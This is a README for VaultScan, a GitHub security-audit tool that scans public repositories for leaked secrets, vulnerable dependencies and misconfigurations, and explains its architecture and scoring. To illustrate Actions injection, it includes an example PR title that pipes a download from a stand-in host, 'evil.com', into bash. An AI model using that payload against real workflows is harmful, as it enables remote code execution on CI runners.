icarogoggin/vaultscan

GitHub: icarogoggin/vaultscan

VaultScan 是一个针对 GitHub 仓库的自动化安全审计工具,识别泄露密钥、已知 CVE 与错误配置并输出综合评分。

Stars: 0 | Forks: 0

VaultScan

VaultScan

针对 GitHub 主页的安全审计工具。
粘贴任意个人主页链接,几秒钟即可获得完整报告。

Node.js Python TypeScript Redis License PRs

什么是 VaultScan · 系统架构 · 检测算法 · 评分系统 · 安装指南 · 路线图

## 什么是 VaultScan? VaultScan 会扫描任意 GitHub 用户的**所有公开仓库**,并生成一份分为三个类别的安全报告: | 类别 | 检查内容 | |-----------|-------------------| | 🔑 **泄露的机密信息** | 40+ 种模式:AWS 密钥、GitHub token、Stripe、Slack、GCP、Azure、SendGrid、Twilio、Firebase、Discord 等 | | 📦 **已知 CVE 漏洞** | 与 [OSV](https://osv.dev) 数据库进行交叉比对 — 涵盖 npm, PyPI, Go, RubyGems, crates.io 和 Packagist | | ⚙️ **配置不当** | GitHub Actions 注入、`permissions: write-all`、以 root 用户运行容器、docker-compose 中的弱密码、生产环境中的 `DEBUG=True` | 每个仓库都会获得一个 **0 到 100 的评分**,整个个人主页将得到一个加权后的总体评级。 ## 系统架构 ``` Navegador (polling a cada 800ms) │ │ POST /api/scan/:usuario ▼ NestJS ScanController │ ▼ ScanService ──► Bull Queue (Redis) │ ▼ ScanProcessor (job worker) │ Promise.all por repositório │ ┌───────────┼───────────┐ ▼ ▼ ▼ secrets_scan deps_scan misconfig_scan ← subprocessos Python (stdout=JSON) (stdout=JSON) (stdout=JSON) (stderr=PROGRESS:...) │ │ │ └───────────┴───────────┘ │ score.py (stdin → stdout) │ ScanService (Map em memória) │ Navegador ◄── GET /api/scan/result/:jobId ``` ### 后端为什么选择 NestJS? NestJS 同时解决了两个问题:它将代码组织成可测试的模块(`ScanModule`, `ScanController`, `ScanService`, `ScanProcessor`),并通过 `@nestjs/bull` 提供了与 Bull 的原生集成。另一种方案是使用纯粹的 Express,但这就需要手动构建相同的结构。对于一个具有多 worker 异步 pipeline 的项目来说,NestJS 的模块化架构完全值得其所带来的初始化开销。 ### 为什么选择 Bull + Redis 作为消息队列? 扫描一个庞大的代码库可能需要几分钟时间。如果在 `await` 中同步处理所有内容,将会阻塞服务器接收其他任何请求。借助 Bull,每次扫描都会变成一个独立的 job,其状态会持久化保存在 Redis 中 —— 服务器可以在处理之前扫描任务的同时接受新的扫描请求,而前端则通过轮询来查询进度。 另一种方案(WebSockets)在通知延迟方面会表现得更好,但这需要管理持久连接并在客户端处理重连。采用 800ms 间隔的轮询模式不仅响应速度足够快,而且在其运维操作上也要简单得多。 ### 为什么扫描器是 Python 脚本,而不是 Node 模块? 出于三个实际原因: 1. **正则表达式生态系统**:Python 在处理大量文本搜索时,编译正则表达式的效率更高。使用 `re.compile()` 的 `re` 模块可以在多次调用中重用 DFA,而不会产生额外开销。 2. **故障隔离**:每个 worker 都在独立的子进程中运行。如果解析格式错误的 `Cargo.toml` 引发了未处理的异常,它只会中止该子进程 —— NestJS 的 job 仍然可以继续处理其他两个扫描器的结果。 3. **独立的扩展性**:添加新的正则表达式模式或新的依赖生态系统不需要编译或重启 Node 后端。它只是一个 Python 文件,可以独立进行编辑和测试,例如运行 `python workers/secrets_scan.py https://github.com/user/repo`。 Node 和 Python 之间的通信很简单:`ScanProcessor` 使用 `child_process.spawn()` 启动进程,将 `stdout` 读取为发现结果的 JSON,并逐行读取 `stderr` 以寻找 `PROGRESS:` 前缀,从而实时更新 job 的状态。 ## 检测算法 ### 1. 机密信息扫描器 (`secrets_scan.py`) 扫描器接收仓库的 URL 并遵循以下流程: **步骤 1 — 首选 TruffleHog** 如果 `trufflehog` 二进制文件位于 `PATH` 中,扫描器将使用 `--only-verified` 参数运行它。这意味着 TruffleHog 在报告之前,会尝试针对相应提供商的 API 对每个发现的机密信息进行身份验证 —— 几乎为零误报率。如果未安装,则回退到基于正则表达式的扫描器(如下所述)。 **步骤 2 — 通过 GitHub API 获取文件树** ``` GET /repos/{owner}/{repo}/git/trees/{branch}?recursive=1 ``` 这会在一次调用中返回仓库中的所有 blob,包括每个文件的大小。使用 tree API 而不是递归遍历目录,可以避免几十次额外的 API 调用。 **步骤 3 — 过滤符合条件的文件** 并非所有文件都值得下载。过滤器应用了三个标准: - 最大文件大小为 120 KB(较大的文件很少包含机密信息 —— 它们通常是数据文件或二进制文件) - 扩展名位于相关类型列表中(`.py`、`.js`、`.ts`、`.env`、`.yaml`、`.toml`、`.json` 等 15+ 种) - 无论扩展名如何,名称位于高价值文件列表中(`id_rsa`、`credentials.json`、`.env.production` 等) - 排除噪音较大的目录(`node_modules`、`vendor`、`.git`、`dist`) 限制条件是每个仓库最多 80 个文件 —— 这个数值经过校准,既能覆盖大多数实际项目,又不会超出 GitHub API 的 rate limit。 **步骤 4 — 应用检测模式** 对于每个符合条件的文件,通过 `raw.githubusercontent.com` 下载其内容,并使用 `re.search()` 测试 40 多种模式。这些模式按特异性递减的顺序排列:特定提供商的模式(例如用于 AWS 密钥的 `AKIA[0-9A-Z]{16}`)优先于通用模式(例如 `(?i)api_?key\s*=\s*"..."`)。这可以防止通用匹配结果掩盖更具可操作性的特定匹配结果。 每个文件对应一个 `seen_labels`,确保即使同一种类型的机密信息出现在多行中,也只对同一文件报告一次。 ### 2. 依赖项扫描器 (`deps_scan.py`) **为什么使用手动解析器而不是调用包管理器?** 调用 `npm list`、`pip list` 或 `cargo tree` 需要预先安装相关环境 —— 这对于扫描任意仓库来说是不可行的。VaultScan 的解析器通过 `raw.githubusercontent.com` 直接读取 manifest 文件,无需克隆仓库或安装依赖项。 每个解析器都会提取一个 `{package_name: version}` 字典: | 文件 | 解析器 | 详情 | |---------|--------|---------| | `package.json` | 原生 JSON | 读取 `dependencies`、`devDependencies` 和 `peerDependencies`;移除范围前缀(`^`、`~`、`>=`) | | `requirements.txt` | 逐行正则匹配 | 仅捕获具有固定版本(`==`)的条目;忽略 URL 行和标志 | | `go.mod` | 状态解析器 | 处理 `require (...)` 块和内联声明;忽略 `// indirect` 指令 | | `Gemfile.lock` | 状态解析器 | 定位到 `specs:` 部分并仅捕获深度为 1(缩进四个空格)的 gem | | `Cargo.toml` | 正则 + 回退机制 | 处理简写形式 `name = "version"` 和展开形式 `name = { version = "..." }` | | `composer.json` | 原生 JSON | 读取 `require` 和 `require-dev`;忽略用于指定 runtime 版本的 `php` 条目 | **查询 OSV** 文件中的所有依赖项都会在单个请求中发送至 [OSV Batch API](https://google.github.io/osv.dev/api/): ``` POST https://api.osv.dev/v1/querybatch { "queries": [ { "package": { "name": "lodash", "ecosystem": "npm" }, "version": "4.17.15" }, { "package": { "name": "express", "ecosystem": "npm" }, "version": "4.17.1" } ] } ``` 这避免了针对 N 个依赖项进行 N 次单独调用。响应包含带有 CVSS 分数的 `severity` 字段(如果有),用于将发现结果分类为 `critical` (≥9.0)、`high` (≥7.0)、`medium` (≥4.0) 或 `low`。 ### 3. 配置不当扫描器 (`misconfig_scan.py`) **GitHub Actions — 代码注入** 这是扫描器检测到的最关键的攻击向量:将 `${{ github.event.pull_request.title }}`、`${{ github.event.issue.body }}` 等其他受用户控制的上下文插入到 `run:` 步骤中。这使得攻击者可以创建一个标题为 `"; curl evil.com | bash #"` 的 PR,并在 workflow 上下文中执行任意代码。 检测模式涵盖了 GitHub 官方文档记录为不受信任的所有 `github.event` 字段:`pull_request.title`、`pull_request.body`、`issue.title`、`issue.body`、`comment.body`、`review.body`、`head_commit.message` 等。 此外,扫描器还会检测结合使用了 PR `head` checkout 的 `pull_request_target` 模式 —— 这种组合特别危险,因为 `pull_request_target` 会以目标仓库的完整权限运行,但 head 的 checkout 会引入来自不受信任 fork 的代码。 **Dockerfile** 会检查两个不同的问题: - *缺少 USER 指令*:没有 `USER` 指令的容器默认以 root 用户身份运行。扫描器会确认存在值不为 `root` 的 `USER` 指令,然后才认为该容器是安全的。 - *未固定 tag 的镜像*:使用 `FROM node:latest` 或没有 tag 的 `FROM node` 会导致构建无法重现 —— 镜像可能会在不同的部署中发生变化,从而不知不觉地引入漏洞。 **docker-compose** 扫描器会寻找两种模式: - `privileged: true` — 赋予容器对宿主机内核的不受限制的访问权限,相当于获得了机器的 root 访问权限 - 默认的数据库密码:检测 `POSTGRES_PASSWORD`、`MYSQL_ROOT_PASSWORD` 等变量中是否使用了诸如 `password`、`root`、`admin`、`secret`、`1234`、`changeme` 等值 **配置文件** 检查 `.env`、`settings.py`、`config.py` 等文件中的 `DEBUG=True`、`APP_DEBUG=true`、`FLASK_DEBUG=1` 和 `NODE_ENV=development`。带有 `.example`、`.sample` 或 `.template` 后缀的文件会被自动忽略 —— 因为它们本身就是作为占位符使用的。 ## 评分系统 每个仓库初始为 **100 分**。每发现一个问题就会扣除相应的分数: | 严重程度 | 扣分 | |------------|---------| | `critical` | −25 分 | | `high` | −15 分 | | `medium` | −5 分 | | `low` | −2 分 | 评分被限制在 `[0, 100]` 区间内。没有发现任何问题的仓库保持 100 分。暴露了 AWS 密钥的仓库会直接降至 75 分 —— 如果再结合其他任何漏洞,就会迅速跌入极高风险区域。 **主页总体评分**是所有已扫描仓库得分的简单平均值。在扫描过程中失败(API 超时、网络错误)的仓库默认记为 50 分 —— 保持中立,以免影响平均值。 最终评级: | 分数 | 标签 | |-------|-------| | ≥ 80 | Secure (安全) | | 50–79 | At Risk (存在风险) | | < 50 | Critical (严重) | **为什么使用这种扣分模型而不是百分比模型?** 百分比模型需要根据文件或依赖项的数量进行归一化,这会导致大型仓库和小型仓库之间的分数无法比较。固定扣分模型简单、易于审计,并且能得出直观的结果:单个严重级别的机密泄露足以使一个仓库进入风险区域。 ## 安装指南 ### 前置条件 | 工具 | 最低版本 | |------------|--------------| | Node.js | 18+ | | Python | 3.9+ | | Redis | 6+ (或 Docker) | ### 操作步骤 ``` # Clone 仓库 git clone https://github.com/icarogoggin/vaultscan cd vaultscan # 启动 Redis docker compose up -d redis # 配置环境变量 cp .env.example backend/.env # 编辑 backend/.env 并添加你的 GITHUB_TOKEN (可选,但推荐) # 安装并启动 backend cd backend && npm install && npm run start:dev # 在另一个终端中,启动 frontend cd frontend && npm install && npm run dev ``` 打开 **http://localhost:5173**,粘贴任意 GitHub 个人主页 URL 并点击 **Scan**。 ### GitHub Token(推荐) 如果没有 token,GitHub API 会将请求限制在**每小时 60 次** —— 这对于拥有大量仓库的主页来说是不够的。 1. 访问 [github.com/settings/tokens](https://github.com/settings/tokens) 2. 点击 **Generate new token (classic)** 3. **保持所有 scope 均未选中** —— VaultScan 仅读取公开数据 4. 在 `backend/.env` 中添加: ``` GITHUB_TOKEN=ghp_seu_token_aqui ``` 配置 token 后,限制将提升至**每小时 5,000 次请求**。 ## 环境变量 | 变量 | 默认值 | 描述 | |----------|--------|-----------| | `REDIS_HOST` | `127.0.0.1` | Redis 主机地址 | | `REDIS_PORT` | `6379` | Redis 端口 | |PORT` | `3000` | 后端 HTTP 端口 | | `GITHUB_TOKEN` | — | GitHub Personal Access Token | | `PYTHON_CMD` | `python` | Python 可执行文件(在某些系统中为 `python3`) | | `SCAN_CONCURRENCY` | `6` | 并行扫描的最大仓库数量 | ## TruffleHog (可选) 如果安装了 [TruffleHog](https://github.com/trufflesecurity/trufflehog) 并且其在 `PATH` 中可用,VaultScan 将自动配合 `--only-verified` 参数使用它 —— 每个发现的机密信息在被报告之前都会针对提供商的 API 进行主动验证,几乎消除了误报。如果未安装,正则表达式扫描器将作为透明回退方案运行。 ``` # macOS brew install trufflesecurity/trufflehog/trufflehog # Linux / Windows # 在此下载二进制文件:https://github.com/trufflesecurity/trufflehog/releases ``` ## 已知的局限性 - **无数据持久化**:扫描结果保存在后端内存的 `Map` 中。服务器重启会清除所有 job。数据库持久化已列入路线图。 - **仅扫描 HEAD 分支**:扫描器仅分析当前默认分支中的文件。无法检测在最近的 commit 中被删除但仍存在于 git 历史记录中的机密信息。历史记录扫描已列入路线图。 - **无法水平扩展**:当前架构假定只有一个后端实例。如果涉及多实例部署,则需要使用 Redis 或数据库替换内存 `Map`。 - **无 token 的 rate limit**:GitHub 公共 API 的 60 次/小时对于小型主页足够了,但可能无法完成对庞大代码库的完整扫描。 ## 许可证 MIT © 2025 [Ícaro Goggin](https://github.com/icarogoggin)
标签:GNU通用公共许可证, Node.js, Python, StruQ, 代码审计, 安全审计, 无后门, 机密检测, 漏洞检测